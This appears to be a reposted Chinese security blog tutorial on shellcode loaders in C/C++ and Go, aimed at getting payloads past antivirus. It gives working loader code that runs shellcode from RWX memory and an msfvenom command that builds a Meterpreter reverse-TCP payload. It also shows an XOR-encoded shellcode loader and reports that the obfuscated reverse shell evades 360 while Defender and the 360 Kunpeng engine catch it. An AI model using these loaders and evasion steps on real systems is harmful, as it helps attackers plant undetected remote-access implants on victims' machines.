各语言ShellcodeLoader初探

admin 2022年6月2日02:01:16评论317 views字数 4572阅读15分14秒阅读模式

各语言ShellcodeLoader初探

C/C++加载shellcode

源码+shellcode直接编译:函数指针执行,汇编指令执行,申请动态内存

使用加载器加载shellcode

函数指针执行

C

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include<windows.h>
# pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
//设置入口地址,不弹出黑窗口
unsigned char buf[] =
"shellcode";

void main()
{
((void(*)(void)) & buf)();
}

申请动态内存加载

C

1
2
3
4
5
6
7
8
9
10
11
12
unsigned char buf[] =
"shellcode";

int main()
{
PVOID Memory;
Memory = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//动态分配虚地址空间
memcpy(Memory,buf,sizeof(buf));
//复制内存内容
((void(*)())Memory)();
}

内联汇编加载

C++

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>  
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}

Go语言加载shellcode

GO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main

import (
"fmt"
"os"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x51, 0x48, 0x8b,
0x52, 0x20, 0x56, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c,
}
)

func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}

func main() {
shellcode := shellcode_buf
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
fmt.Println("内存分配成功")
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
fmt.Println("内存复制成功")
syscall.Syscall(addr, 0, 0, 0, 0)
}

使用go加载shellcode有两个问题需要注意,一是shellcode要生成x64架构的,二是shellcode需要生成num格式

CODE

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxxxxx lport=xxxx -a x64 -f num

shellcode变形免杀初探

shellcode的本质是计算机可直接执行的机器码,比汇编语言更低一层的存在,对于msf生成的一段弹出calc.exe的shellcode,翻译成汇编语言如下所示

CODE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
00446000 | FC               | cld                                   |
00446001 | E8 82000000 | call shellcodeanalyse.446088 |
00446006 | 60 | pushad |
00446007 | 89E5 | mov ebp,esp | upper stack
00446009 | 31C0 | xor eax,eax | eax:unsigned char * buf
0044600B | 64:8B50 30 | mov edx,dword ptr fs:[eax+30] | PEB
0044600F | 8B52 0C | mov edx,dword ptr ds:[edx+C] | DllList
00446012 | 8B52 14 | mov edx,dword ptr ds:[edx+14] | InMemoryOrderModuleList
00446015 | 8B72 28 | mov esi,dword ptr ds:[edx+28] | Full_DLLNAME_Buffer
00446018 | 0FB74A 26 | movzx ecx,word ptr ds:[edx+26] | MaximumLength
0044601C | 31FF | xor edi,edi | edi:___argv
0044601E | AC | lodsb |
0044601F | 3C 61 | cmp al,61 | upper(ch)
00446021 | 7C 02 | jl shellcodeanalyse.446025 |
00446023 | 2C 20 | sub al,20 |
00446025 | C1CF 0D | ror edi,D | (rotate)res>> 0xD
00446028 | 01C7 | add edi,eax | edi:___argv, eax:unsigned char * buf
0044602A | E2 F2 | loop shellcodeanalyse.44601E |
0044602C | 52 | push edx | edi:hash of(dll name)
0044602D | 57 | push edi | edi:___argv
0044602E | 8B52 10 | mov edx,dword ptr ds:[edx+10] | dllbase
00446031 | 8B4A 3C | mov ecx,dword ptr ds:[edx+3C] | nt_headers
00446034 | 8B4C11 78 | mov ecx,dword ptr ds:[ecx+edx+78] | export_entry
00446038 | E3 48 | jecxz shellcodeanalyse.446082 | jump if ecx==0 judge if export

原文https://blog.csdn.net/qq_35740100/article/details/116300959

结合一段弹出calc的shellcode进行试验

各语言ShellcodeLoader初探

有程序的输出可知,shellcode的长度为194字节,x意味着后面是16进制。所以shellcode就是一段194字节长的16进制数据。由于shellcode是16进制而不是字符串的缘故,用常规的加密思路去处理显得很困难。

在这里我使用异或的方法处理shellcode,异或的特点是原数据经过两次异或后与原来相同,本例中最终的buf经过函数指针执行是可以正常启动calc.exe的。将第一次异或后密文保存,使用时在代码中解密,就是变形免杀的初步思想。

各语言ShellcodeLoader初探

C

1
2
3
4
5
6
7
8
9
10
11
12
void main()
{
unsigned char buf[] = "xf6xe2x88xaxaxax6ax83xefx3bxcax6ex81x5ax3ax81x58x6x81x58x1ex81x78x22x5xbdx40x2cx3bxf5xa6x36x6bx76x8x26x2axcbxc5x7xbxcdxe8xf8x58x5dx81x58x1ax81x40x36x81x46x1bx72xe9x42xbxdbx5bx81x53x2axbxd9x81x43x12xe9x30x43x81x3ex81xbxdcx3bxf5xa6xcbxc5x7xbxcdx32xeax7fxfcx9x77xf2x31x77x2ex7fxeex52x81x52x2exbxd9x6cx81x6x41x81x52x16xbxd9x81xex81xbxdax83x4ex2ex2ex51x51x6bx53x50x5bxf5xeax55x55x50x81x18xe1x87x57x60xbx87x8fxb8xaxaxax5ax62x3bx81x65x8dxf5xdfxb1xfaxbfxa8x5cx62xacx9fxb7x97xf5xdfx36xcx76x0x8axf1xeax7fxfxb1x4dx19x78x65x60xax59xf5xdfx69x6bx66x69x24x6fx72x6fxaxa";
int shellcodesize = sizeof(buf);
printf("%dn",shellcodesize);
for(int i = 0;i<shellcodesize; i++)
{
buf[i] ^= 10;
}
((void(*)(void)) & buf)();

}

将shellcode换成反弹shell再次进行试验,360动态静态全部免杀正常上线。但是当360开启鲲鹏引擎时动静都被查杀。

各语言ShellcodeLoader初探

windows defender直接查杀

各语言ShellcodeLoader初探

从vt查杀率来看,效果还有待提高,不过相比未作处理已有很大改善。

各语言ShellcodeLoader初探

文章作者: LuckyFuture

文章链接: http://luckyfuture.top/ShellcodeLoader.html

该内容转载自网络,更多内容请点击“阅读原文”

各语言ShellcodeLoader初探



原文始发于微信公众号(web安全工具库):各语言ShellcodeLoader初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日02:01:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   各语言ShellcodeLoader初探http://cn-sec.com/archives/1078306.html

发表评论

匿名网友 填写信息